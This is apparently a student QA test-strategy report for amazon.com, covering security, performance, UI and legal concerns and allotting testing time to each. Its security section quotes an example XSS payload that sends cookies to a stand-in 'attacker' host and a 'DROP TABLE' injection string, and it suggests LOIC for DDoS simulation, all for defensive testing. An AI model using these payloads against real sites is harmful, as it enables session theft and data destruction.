CS 1632 - DELIVERABLE 6:

Test Strategy for Amazon

James Hahn and Reed Armstrong

Overview of Site

Amazon.com, Inc. is a well-known, international company that dabbles in several areas of online technology, such as E-readers (Kindle), online music, smart devices (Echo), and many more, with e-commerce and cloud hosting (AWS) being its two most well-known products.  In this quality assurance analysis, the main focus will be on *amazon.com*, which is their e-commerce web application (and specifically the e-commerce services of it).  *Amazon.com* (hereafter Amazon)is the internet’s leading retailer, as well as the leading offline retailer, by market value, according to Bloomberg (Pettypiece, 2015).  Amazon allows users to purchase almost half a billion products (Grey, 2015), while reaching its peak 500 transactions per second on Cyber Monday.  The numbers are astronomical for the company and allow nearly anybody with a smart device and internet access to order what their heart desires.

Amazon has transformed the shopping industry with its immense number and variety of products.  Users can simply visit the site, register or login to their account, and then search for nearly any product (even toilet paper).  Then, they have several choices.  They can either add the item to their shopping cart to purchase everything altogether later on, purchase that one item immediately, or add the item to their wish list for items they desire (this comes in handy during Christmas time).  Manufacturers can offer discounts or coupons directly on the website, and Amazon offers several different shipping plans and the option to gift wrap the product.  Once a buyer scrolls down the page of a product, they will see product information (specifications and details), as well as reviews from past buyers, suggestions for similar products, competing offers for similar products, and even a related videos section for reviews of the product.

Amazon clearly showcases its utility to the world; if they disappeared, the world’s economy might even take a decent hit.  However, with its significant convenience and usefulness comes the need for a thorough quality assurance report that covers key kinds of testing in depth.

Areas of Concern and Priority

Due to *amazon.com*’s size, there are four areas of concern that must be covered:

1. **Security** **-** With hundreds of monetary transactions per second, Amazon almost has to act like a bank.  They must utilize the top forms of security available to them in order to prevent consumers from manipulating the system, such as faking credit card information, hacking into other people's accounts, and purchasing products without proper credentials.  Security vulnerabilities have the ability to plague Amazon’s reputation, revenue, and company.  And these vulnerabilities are not shocking either; Amazon has numerous input fields on its web application, which instantly opens itself up to cross-site scripting.  DoS and DDoS attacks can happen to nearly every web application.  Malicious file uploads can be something as simple as uploading an executable (.exe) to the “change profile picture” section of one’s profile and cross-site request forgery happens all the time by using 3rd-party applications such as Postman or Fiddler.  And these few topics do not even cover every kind of vulnerability possible to a web application; they are just some of the most common to occur.  The real dangers occur in lesser known weaknesses, as detailed by OWASP, a well-known online community catered toward web application security, in their 2013 report of their Top Ten Project drawing awareness to web application security (“Category: OWASP Top Ten project,” 2013).  One important story to note in terms of Amazon’s security problems is about a year ago, some of their customers’ passwords “may have been compromised”; in order to fix this, Amazon reset their passwords and sent out emails.  This is something to watch out, especially with cross-site scripting or SQL injection, for example, because it might lead to this kind of situation (Whittaker, 2015).
2. **Performance -** Mentioned several times throughout this report is Amazon’s size, both globally and due to the operations (transactions, etc.) it has to handle on even a per-second basis.  Because of this, performance must be a key feature in testing, being able to compare itself to the processing power of Google, large financial institutions, and even largely non-tech giants, such as Wal-Mart.  This would include things as simple as updating a person’s information on their profile, to their transaction handling speed, and--perhaps most important as it probably occurs magnitudes more often than purchases--Amazon’s product search.  Performance is *vital* to this web application in order to ensure customer satisfaction, which in turn affects and is affected by company revenue, reputation, and security.  Hidden within this larger area of performance testing are stress testing and load testing, which both come with any large web application.
3. **User Interface -** Of course with any user-facing web application comes challenges with the user interface.  This is tertiary to security and performance in terms of service integrity, but it is still a concerning issue with a web application the size and reputation of *amazon.com*.  Customers will notice when the website does not look or perform correctly.  Problems with user interfaces may also be extended to the web application on mobile devices, which refers to the larger problem of interface scalability.  For instance, Amazon’s Prime Day sale in 2016 was marred by problems of users being unable to add sale items to their carts or check out, and these tended not to be issues of product scarcity (Perez, 2016).  This issue was common to both the full web interface and the mobile app, and took a few hours to fix.
4. **Ethical Advertising/Legal Issues -** And of course, Amazon is required to consider legality of their advertising.  Although Amazon has not had problems with this before, it may be best to analyze the ethicality of features concerning this before they are actually implemented.  In 2012, Target sent an email to a teen girl recommending products based on her pregnancy, which was later discovered by her father.  The father was outraged, but it turned out the girl was legitimately pregnant (Hill, 2012).  In addition to this client-focused story, DLA Piper holds a central location to view data privacy laws from countries across the world.  The legality of what data can be stored in Amazon’s databases about individuals might become an issue when developers implement features of the web application.  These two cases may not have been significant issues of Amazon in the past, but they may certainly become issues in the future.  Although this ideally would be tested, it is very difficult to oversee/test from an outsider’s perspective.

Testing Strategies

Obviously, there are many things that must be tested in this web application.  We will need several testing strategies to cover this range.

Safety and privacy of users’ personal information is treated as a given on large web services these days, so security testing must be one of the first things to test in *amazon.com*.  One common type of threat to a large site is a DDoS attack.  These originate as a result of too many frivolous requests to the server, which may act as a distraction from actual malicious attempts behind the scenes.  They can also cause major performance issues, such as in the Dyn DDoS on October 21st, 2016, which affected part of Amazon Web Services, so Amazon is still vulnerable to attack (Chiel, 2016).  In order to test this, one can use software such as Low Orbit Ion Cannon (LOIC) to simulate high packet processing.  With this, one would be able to tell if the web application, namely the server and database, could process data at a fast enough pace so real transaction data is not corrupted and everything received is successfully placed into the database, as a credit card payment that looks processed to the user but not processed on the server would be a defect in the system.  Preventing against DDoS attacks can also be tied in with performance testing, specifically stress testing to make sure the website can handle large numbers of clients on the system, such as during Cyber Monday.  This should not take too much time; it is on the lower end of priorities because once DDoS protection works once, there is a high chance it will work several months in the future.  An acceptable testing interval would be about once a year, as the number of consumers and size of attacks increase as time goes on, but will not double in size over the course of a month.  Hiring contractors to test the application at unexpected moments may also be suitable, but would require extra money because they are a third-party source.  If possible, giving this task to in-house quality assurance engineers would be best in order to prevent security leaks from a third-party company, especially since Amazon owns a DDoS protection product called AWS Shield.  This requires 5% of the quality assurance time.

Next, malicious file uploads.  In order to test for this, automated testing comes in handy.  Web automation can navigate to pages that require file uploads, such as the profile picture upload on Amazon accounts.  In order to perform these actions, Selenium could be utilized.  Simple inputting the URLs of the pages that contain file uploads and uploading a variety of files formats (.pdf, .exe, .tar, .java, .doc, and many more) would suffice, depending on the type of file upload (“50+ file extensions…”, 2016).  Simply allowing one malicious format could execute macros that steal information from the underlying database or shut down servers.  So, automated web testing, using Selenium, is the way to go here.  This is rather important because it can happen with any new button that is added to the web application that allows for file uploads or sends a file to the server.  Because of this, it is of high importance and should be frequently, such as at the end of every business day so vulnerabilities are not found too late.  This requires 10% of quality assurance time.

Cross-site scripting is also an issue.  These vulnerabilities arise when form input (such as the Amazon web search) is not sanitized and a user inputs text such as “<script>window.location='http://attacker/?cookie='+document.cookie</script>”.  This allows an attacker to access cookies of a victim by redirecting them to another website so the data can be parsed and sent to another server, such as login information.  To test against this, one could use Selenium to insert JavaScript source code into input fields and check whether HTTP requests are sent back to the client or if a user is redirected to an unknown site, depending on what code is inserted.  SQL injection also originates from unsanitized input, allowing the user to add, edit, and remove data from hidden databases, such as with the command “DROP TABLE user\_login\_information” to delete the table containing user login information, thus preventing any previous users from logging in.  This can also be tested the same way as cross-site scripting, automated web testing by inserting SQL commands and checking whether data is returned from SELECT statements, for example.  Both of these are hugely important.  These tests should be run every time a piece of code is committed to the codebase because anybody can easily insert any text they want into any input field on the web application.  This is of high importance and should be handled as some of the most important tests.  This requires 30% of the quality assurance time and it is recommended that developers heavily unit-test their code before committing it as well in order to improve code quality and lighten the load of testers.

Lastly, for security, is cross-site request forgery.  This occurs during any HTTP request (GET, POST, …), such as through AJAX.  If there was an underlying function on a forum that subscribed a user a thread by just sending their e-mail to the request, many people would surely be angry because they received random emails from something they did not subscribe to.  To prevent this from happening, utilizing anti-forgery tokens in a web development framework, such as ASP.NET, pairs “tokens” with each valid client on the site, and the token is sent into the request to make sure the request was real from an authorized client; the fact that *amazon.com* uses a framework with validation tokens is an assumption.  When testing against this, it is best to individually test every server-side method using tools such as Fiddler, developed by Telerik, to send requests to a server.  If nothing happens, that means the anti-forgery requests are successful.  For employees of Amazon, it is best to use grey box testing here because they know all of the methods on the server, which allows them to test everything necessary.  This is of high importance because users should never be able to send false requests to the server.  For this vulnerability, developers or testers should use manual testing to send fake HTTP requests to the server and check if any valuable data (success or failure) is returned; this should always fail without a forgery token.  This should be tested for every method that is added to the server codebase by a developer.  This requires 15% of quality assurance time.

As for performance testing, there will not be much to test.  DDoS attacks have already been covered, which touch on performance testing a bit through load and stress testing, so the only thing left are discovering hotspots in code.  In order to test against this, quality assurance engineers should use software, such as VisualVM to discover hotspots in the application.  Any small hotspot, multiplied by millions of clients, can prove to be a significant issue.  So, the engineers should definitely try their best to prevent hotspots from occurring.  This is of medium importance and requires 20% of quality assurance time.  However, it would be optimal if developers could plan their code out first and think of the most efficient solution before committing code to the codebase; this will allow an easier process for the testers so they can prioritize other areas of quality assurance if they happen to come across problems.  In addition, testers can use white box testing and static analysis to understand each function’s efficiency (Big-O) to perhaps find hotspots easier.

Amazon’s main shopping-related user interface issues can also likely be solved with automated testing.  They use an in-house database solution to serve dynamic content, and assuming their infrastructure hasn’t changed wildly since 2007, it’s managed and queried with Java bindings (DeCandia et al., 2007).  These can be validated in terms of the content they serve--for instance, since their infrastructure involves synchronizing data between a set of databases, one can check the similarity of the results returned by querying several different data centers.  This helps guarantee that the produced pages contain higher-quality information, such as up-to-date data on product prices and availability.  The issues with adding items to carts and checking out mentioned above sound like issues of trying to allocate product units across this network, so successfully cross-checking page returns in a very limited time frame will help ensure that users are seeing the correct information even during periods of high shopping activity.  Of course, this means nothing if users cannot understand the interface they actually see, and asking some subjects to complete a task on a system with a given interface can be very instructive in its implications for the user experience.  This area in general deserves attention because it is directly connected to the user experience at times of greatest reward for Amazon; however, since security is such a minimum expectation of many of these larger sites, UI/UX testing should yield to that interest first. In terms of time spent it should take at most 20%.  In addition, if need be, testers can use black box testing and manually walk through the site, click on bottoms, forms, and links, and check to make sure the UI is working correctly and the user experience is up to speed.

Although legal issues were listed as a concern, it is difficult to test for them, as it is more of a factor of the higher-up manager that decides which data is stored and testers have no say in that.  But, it is still an issue that can be considered in the future if need be.  So, it will not be required for quality assurance engineers to worry about ethical/legal issues.  Because of this, this section will be left out of the conclusion of the report below.

To coordinate these couple of arms, a few levels of organization might be helpful. The testing required has broken fairly cleanly into the three pieces of security, performance, and UI/UX, so it’s possible to form three groups of test engineers and allow them to focus on one of those areas each. This split also ensures that people can work on something closer to their general expertise. One more level of management can exist on top of this, and they would be responsible for larger-scale testing coordination, including working with contractors like the ones we mentioned for external DDoS testing. Security is always important, but as Amazon becomes comfortable with its base in site defense, it can shift people over to the performance and UI/UX test teams.

Bibliography

50+ file extensions that are potentially dangerous on windows. (2006). Retrieved from

http://www.howtogeek.com/137270/50-file-extensions-that-are-potentially-dangerous-on-windows/

Brown, M. (2015, November 30). Amazon plans to ship 500 orders per second today.

*Amazon*. Retrieved from http://www.geekwire.com/2015/amazon/

“Category:OWASP Top Ten project”. (2013, October ). Retrieved from

https://www.owasp.org/index.php/Category:OWASP\_Top\_Ten\_Project

Chiel, E. (2016, October 21). Here are the sites you can’t access because someone

took the Internet down. Retrieved from

http://fusion.net/story/360952/which-sites-affected-ddos-attack/

DeCandia, G., Hastorun, D., Jampani, M., Kakulapati, G., Lakshman, A., Pilchin, A.,

Sivasubramanian, S., Vosshall, P., & Vogels, W. (2007). Dynamo: Amazon’s

highly available key-value store. In *Proc. of SOSP’07*, October 14-17, 2007,

Stevenson, WA. Association for Computing Machinery.

*Global data protection handbook.* (2016). Retrieved from

https://www.dlapiperdataprotection.com/index.html#handbook/world-map-

section/c1\_FR

Grey, P. (2015, December 11). (2015) How many products does Amazon sell?

Retrieved from E-Commerce,

https://export-x.com/2015/12/11/how-many-products-does-amazon-sell-2015/

Hill, K. (2012, February 16). How target figured out A teen girl was pregnant before her

father did. *Forbes*. Retrieved from

http://www.forbes.com/sites/kashmirhill/2012/02/16/how-target-figured-out-a-teen

-girl-was-pregnant-before-her-father-did/#233d25a034c6

Perez, S. (2016, July 12). Demand for Amazon Prime Day deals leads to checkout

issues for shoppers. Retrieved from

https://techcrunch.com/2016/07/12/demand-for-amazon-prime-day-deals-leads-

to-checkout-issues-for-shoppers/

Pettypiece, S. (2015, July 23). Amazon passes Wal-Mart as biggest retailer by market

value. Retrieved from

https://www.bloomberg.com/news/articles/2015-07-23/amazon-surpasses-wal-m

art-as-biggest-retailer-by-market-value

Whittaker, Z. (2015, November 24). Amazon force-resets some account passwords,

citing password leak. Retrieved from

http://www.zdnet.com/article/amazon-is-resetting-account-passwords-for-some-a

ccounts/